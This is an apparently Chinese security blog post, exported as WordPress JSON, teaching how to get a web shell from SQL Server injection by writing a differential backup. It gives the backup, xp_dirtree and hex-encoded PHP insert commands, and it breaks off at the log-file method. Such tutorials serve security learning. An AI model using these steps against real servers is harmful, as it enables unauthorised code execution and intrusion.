{"id":1770,"date":"2024-11-29T19:45:21","date_gmt":"2024-11-29T11:45:21","guid":{"rendered":"https:\/\/foreverhome.live\/?p=1770"},"modified":"2024-11-29T19:49:57","modified_gmt":"2024-11-29T11:49:57","slug":"sqlinjectionauthorization2","status":"publish","type":"post","link":"https:\/\/foreverhome.live\/index.php\/2024\/11\/29\/sqlinjectionauthorization2\/","title":{"rendered":"\u3010\u7f51\u7edc\u5b89\u5168\u3011\u4ec0\u4e48\uff1f\u4f60\u8fd8\u4e0d\u4f1a\u901a\u8fc7SQL\u63d0\u6743\uff1f\uff08SQLServer\u7bc7\uff09"},"content":{"rendered":"\n\n\n

\u4f7f\u7528\u7684\u5de5\u5177\uff1a<\/mark><\/strong><\/strong><\/p>\n\n\n\n

    \n
  1. SQLMap<\/li>\n\n\n\n
  2. DBeaver<\/li>\n<\/ol>\n\n\n\n

    \u6570\u636e\u5e93<\/mark><\/strong><\/p>\n\n\n\n

      \n
    • SQLServer\uff08MSSQL\uff09<\/li>\n\n\n\n
    • MySQL<\/li>\n<\/ul>\n\n\n\n
      \n\n\n\n

      \u524d\u8a00<\/mark><\/strong><\/p>\n\n\n\n

      \u672c\u6587\u4e3b\u8981\u4ecb\u7ecd\u603b\u7ed3MySQL<\/mark><\/strong>\u548cSQLServer<\/mark><\/strong>\u8fd9\u4e24\u4e2a\u5e38\u89c1\u7684\u6570\u636e\u5e93\u7684\u63d0\u6743\u65b9\u6cd5\uff08\u4e0d\u6d89\u53caSQLMap\uff09<\/strong>\u4ec5\u901a\u8fc7SQL \u2192 Shell\uff0c\u6240\u4ee5\u4e0d\u4f1a\u4ecb\u7ecd\u901a\u8fc7SQL\u8fdb\u884cUSER \u2192 ROOT\u7684\u63d0\u6743\u65b9\u5f0f\u3002MySQL\u81ea\u4e0d\u5fc5\u8bf4\uff0cSQLServer\u5728\u653f\u5e9c\u90e8\u95e8\u6216\u6559\u80b2\u90e8\u95e8\u7684\u4fdd\u6709\u91cf\u8fd8\u662f\u76f8\u5f53\u53ef\u89c2\u7684\u3002\u672c\u6587\u7ed3\u5408\u4e3b\u6d41\u7684\u547d\u4ee4\u6267\u884c<\/mark><\/strong>\u548c\u5199\u5165WebShell<\/mark><\/strong>\u7684\u63d0\u6743\u65b9\u5f0f\uff0c\u5e76\u7ed3\u5408\u4e0d\u540c\u7684\u9002\u7528\u5e38\u89c1\u3002<\/p>\n\n\n\n

      \u6587\u4e2d\u6240\u6d89\u53ca\u7684\u6280\u672f\u3001\u601d\u8def\u548c\u5de5\u5177\u4ec5\u4f9b\u4ee5\u5b89\u5168\u4e3a\u76ee\u7684\u7684\u5b66\u4e60\u4ea4\u6d41\u4f7f\u7528\uff0c\u4efb\u4f55\u4eba\u4e0d\u5f97\u5c06\u5176\u7528\u4e8e\u975e\u6cd5\u7528\u9014\u4ee5\u53ca\u76c8\u5229\u7b49\u76ee\u7684\uff0c\u5426\u5219\u540e\u679c\u81ea\u884c\u627f\u62c5\uff01<\/mark><\/strong><\/p>\n\n\n\n

      \n\n\n\n

      SQLServer(MSSQL)<\/mark><\/strong><\/h2>\n\n\n\n

      \u5dee\u5f02\u5907\u4efdGetShell<\/h3>\n\n\n\n
      \n\n\n\n
        \n
      • \u6761\u4ef6\uff1a<\/strong><\/li>\n\n\n\n
      • \u9700\u8981Web\u76ee\u5f55\u5199\u5165\u6743\u9650<\/li>\n\n\n\n
      • \u5b58\u5728\u5806\u53e0\u6ce8\u5165<\/li>\n<\/ul>\n\n\n\n

        SQLServer<\/mark><\/strong>\u7684\u5dee\u5f02\u5907\u4efd<\/mark><\/strong>\u53ea\u4f1a\u5907\u4efd\u4e0a\u4e00\u6b21\u5b8c\u6574\u5907\u4efd\u4ee5\u6765\u7684\u6570\u636e\u53d8\u5316<\/strong>\uff0c\u5bf9\u4e8e\u6211\u4eecGetShell\u6765\u8bf4\u4f1a\u5b58\u5728\u5f88\u591a\u4e0d\u76f8\u5e72\u5185\u5bb9\uff0c\u6545\u5199\u5165\u6570\u636e\u4e0d\u80fd\u592a\u5927<\/mark><\/strong>\u3002\u5b9e\u9645\u4e0a\u7531\u4e8e\u5dee\u5f02\u5907\u4efd\u5bb9\u6613\u5bfc\u81f4\u5199\u5165\u5e72\u6270\u7a0b\u5e8f\u6267\u884c\u7684\u90e8\u5206<\/mark><\/strong>\uff0c\u6240\u4ee5\u6709\u4e00\u5b9a\u6210\u529f\u7387\uff0c\u5076\u5c14\u5728\u6210\u529f\u5199\u5165\u540e\uff0c\u65e0\u6cd5\u6267\u884c\u4ee3\u7801<\/mark>\u3002<\/strong><\/p>\n\n\n\n

        \u9996\u5148\u6211\u4eec\u9700\u8981\u5148\u521b\u5efa\u4e00\u7ed9\u65b0\u7684\u5b8c\u6574\u5907\u4efd<\/mark><\/strong>\uff0c\u9700\u8981\u6ce8\u610f\uff0cMSSQL\u7528\u6237\u5fc5\u987b\u8981\u6709\u76ee\u5f55\u7684\u5199\u5165\u6743\u9650<\/mark><\/strong>\uff0c\u5426\u5219\u662f\u6ca1\u529e\u6cd5\u5199\u5165\u7684\u3002<\/p>\n\n\n\n

        backup database test to disk = 'E:\\\\phpstudy_pro\\\\WWW\\\\test\\\\upload\\\\bak.bak';--test\u662f\u6211\u5f53\u524d\u6570\u636e\u5e93<\/code><\/pre>\n\n\n
        \n
        \"\"<\/figure>\n<\/div>\n\n\n
        \u8865\u5145<\/strong>\uff1a<\/p>\n\n\n\n
        \u5982\u679c\u4e0d\u77e5\u9053\u8def\u5f84\u6216\u8005\u627e\u4e0d\u5230Web\u76ee\u5f55\u600e\u4e48\u529e\uff1f<\/strong>\u53ef\u4ee5\u901a\u8fc7\u5982\u4e0b\u6307\u4ee4\u67e5\u8be2\u76ee\u6807\u8def\u5f84<\/mark><\/strong>\u4e0b\u7684\u6587\u4ef6\uff1a<\/p>\n\n\n\n
        EXEC master..xp_dirtree 'C:\\',1,1<\/code><\/pre>\n\n\n
        \n
        \"\"<\/figure>\n<\/div>\n\n\n
        SQLServer\u7684\u5907\u4efd\u6587\u4ef6\u5b58\u50a8\u7684\u6570\u636e\u4e3b\u8981\u662f\u6570\u636e\u5e93\u7ed3\u6784<\/strong>\uff0c\u4e0d\u4f1a\u76f4\u63a5\u5b58\u50a8SQL\u8bed\u53e5<\/strong>\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u5148\u5efa\u7acb\u4e00\u4e2a\u4e34\u65f6\u7684\u8868<\/mark><\/strong>\uff0c\u5728\u8868\u4e2d\u5199\u5165\u4e00\u53e5\u8bdd<\/mark><\/strong>\u3002<\/p>\n\n\n\n
        create table test (shell image);<\/code><\/pre>\n\n\n\n
        \u521b\u5efa\u5b8c\u540e\uff0c\u6211\u4eec\u5411shell<\/strong>\u5217\u4e2d\u5199\u5165\u4ee3\u7801<\/mark><\/strong><\/p>\n\n\n\n
        insert into test (shell) values (0x3C3F70687020706870696E666F28293B203F3E);--<?php phpinfo(); ?><\/code><\/pre>\n\n\n
        \n
        \"\"<\/figure>\n<\/div>\n\n\n
        \u63d2\u5165\u5b8c\u540e\u6267\u884c\u4e00\u6b21\u5dee\u5f02\u5907\u4efd\u5199\u5165webshell<\/strong><\/p>\n\n\n\n
        backup database test to disk='E:\\\\phpstudy_pro\\\\WWW\\\\test\\\\upload\\\\1.php' WITH DIFFERENTIAL,FORMAT;<\/code><\/pre>\n\n\n
        \n
        \"\"<\/figure>\n<\/div>\n\n\n
        \u53ef\u4ee5\u770b\u5230\u9664\u4e86\u5199\u5165\u7684phpinfo\u5916\uff0c\u8fd8\u5b58\u5728\u5927\u91cf\u7684\u65e0\u5173\u6570\u636e\u3002\u5bb9\u6613\u5bfc\u81f4\u6267\u884c\u51fa\u9519\u3002<\/mark><\/strong><\/p>\n\n\n\n
        \u65e5\u5fd7\u6587\u4ef6GetShell<\/h3>\n\n\n\n
        \n\n\n\n